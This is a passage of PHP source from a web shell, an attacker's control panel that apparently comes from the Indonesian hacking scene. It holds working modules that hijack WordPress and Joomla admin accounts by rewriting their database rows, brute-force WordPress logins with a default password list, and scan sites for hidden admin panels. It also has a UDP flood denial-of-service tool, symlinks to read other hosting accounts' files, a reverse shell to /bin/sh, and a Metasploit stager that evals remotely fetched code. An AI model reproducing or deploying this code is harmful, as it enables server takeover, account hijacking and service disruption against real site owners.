$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
} echo "
</div>"; }
#Wordpress Pass Changer
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-add')){
if(empty($_POST['pwd']))
{echo "
<br><br><center><div class='mybox'><h2 style='font-size:40px;' class='k2ll33d2'>Wordpress login changer</h2><FORM method='POST'>DB_Prefix : <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'> host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> database : <INPUT class ='inputz' size='10' value='Database' name='database' type='text'> username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'> <br><br>New username : <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password : <INPUT class ='inputz' name='pwd' size='15' value='123123'><br> <br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM></div/></center>";
}else{
$prefix = $_POST['prefix'];
$localhost = $_POST['localhost'];
$database= $_POST['database'];
$username= $_POST['username'];
$password= $_POST['password'];
$pwd= $_POST['pwd'];
$admin= $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);
$grab = @mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
$data = @mysql_fetch_array($grab);$site_url=$data["option_value"];
$k2=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$k2=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
if($k2){echo '<br><br><center><h1>Done ... -> <a href="'.$site_url.'/wp-login.php" target="_blank">Login</a></h1></center>';}}
echo '</center>';
}
///////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> pass baru </td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "
</div>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p>
</center>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, '/', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, '/', -1));}
else{return $host;}
}
echo "</p>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don't DoS yourself nub)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">Ddos Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table>
<br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
<?php
$submit = $_POST['fire'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s
";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style=\"color: #00ff00\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#00ff00;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
